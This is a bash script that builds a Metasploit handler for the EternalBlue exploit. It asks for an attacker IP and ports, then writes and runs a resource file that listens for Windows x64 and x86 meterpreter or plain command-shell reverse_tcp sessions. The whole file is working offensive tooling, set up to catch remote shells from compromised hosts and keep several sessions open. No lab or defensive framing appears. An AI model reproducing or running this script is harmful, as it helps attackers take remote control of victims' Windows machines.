listener_prep.sh

#!/bin/bash
cat << "EOF"
  __
  /,-
  ||)
  \\_, )
   `--'
EOF
echo Eternal Blue Metasploit Listener
echo
echo LHOST for reverse connection:
read ip
echo LPORT for x64 reverse connection:
read portOne
echo LPORT for x86 reverse connection:
read portTwo
echo Enter 0 for meterpreter shell or 1 for regular cmd shell:
read cmd

# Changes made for better portability and clarity
if [ "$cmd" -eq 0 ]; then
    read -p "Type 0 if this is a staged payload or 1 if it is for a stageless payload: " staged
    if [ "$staged" -eq 0 ]; then
        echo "Starting listener (staged)..."
        touch config.rc
        echo "use exploit/multi/handler" > config.rc
        echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp" >> config.rc
        echo "set LHOST $ip" >> config.rc
        echo "set LPORT $portOne" >> config.rc
        echo "set ExitOnSession false" >> config.rc
        echo "set EXITFUNC thread" >> config.rc
        echo "exploit -j" >> config.rc
        echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> config.rc
        echo "set LPORT $portTwo" >> config.rc
        echo "exploit -j" >> config.rc
        /etc/init.d/postgresql start
        msfconsole -r config.rc
        /etc/init.d/postgresql stop
        rm config.rc
    elif [ "$staged" -eq 1 ]; then
        echo "Starting listener (stageless)..."
        touch config.rc
        echo "use exploit/multi/handler" > config.rc
        echo "set PAYLOAD windows/x64/meterpreter_reverse_tcp" >> config.rc
        echo "set LHOST $ip" >> config.rc
        echo "set LPORT $portOne" >> config.rc
        echo "set ExitOnSession false" >> config.rc
        echo "set EXITFUNC thread" >> config.rc
        echo "exploit -j" >> config.rc
        echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> config.rc
        echo "set LPORT $portTwo" >> config.rc
        echo "exploit -j" >> config.rc
        /etc/init.d/postgresql start
        msfconsole -r config.rc
        /etc/init.d/postgresql stop
        rm config.rc
    fi
elif [ "$cmd" -eq 1 ]; then
    read -p "Type 0 if this is a staged payload or 1 if it is for a stageless payload: " staged
    if [ "$staged" -eq 0 ]; then
        echo "Starting listener (staged)..."
        touch config.rc
        echo "use exploit/multi/handler" > config.rc
        echo "set PAYLOAD windows/x64/shell/reverse_tcp" >> config.rc
        echo "set LHOST $ip" >> config.rc
        echo "set LPORT $portOne" >> config.rc
        echo "set ExitOnSession false" >> config.rc
        echo "set EXITFUNC thread" >> config.rc
        echo "exploit -j" >> config.rc
        echo "set PAYLOAD windows/shell/reverse_tcp" >> config.rc
        echo "set LPORT $portTwo" >> config.rc
        echo "exploit -j" >> config.rc
        /etc/init.d/postgresql start
        msfconsole -r config.rc
        /etc/init.d/postgresql stop
        rm config.rc
    elif [ "$staged" -eq 1 ]; then
        echo "Starting listener (stageless)..."
        touch config.rc
        echo "use exploit/multi/handler" > config.rc
        echo "set PAYLOAD windows/x64/shell_reverse_tcp" >> config.rc
        echo "set LHOST $ip" >> config.rc
        echo "set LPORT $portOne" >> config.rc
        echo "set ExitOnSession false" >> config.rc
        echo "set EXITFUNC thread" >> config.rc
        echo "exploit -j" >> config.rc
        echo "set PAYLOAD windows/shell/reverse_tcp" >> config.rc
        echo "set LPORT $portTwo" >> config.rc
        echo "exploit -j" >> config.rc
        /etc/init.d/postgresql start
        msfconsole -r config.rc
        /etc/init.d/postgresql stop
        rm config.rc
    fi
else
    echo "Invalid option...exiting..."
fi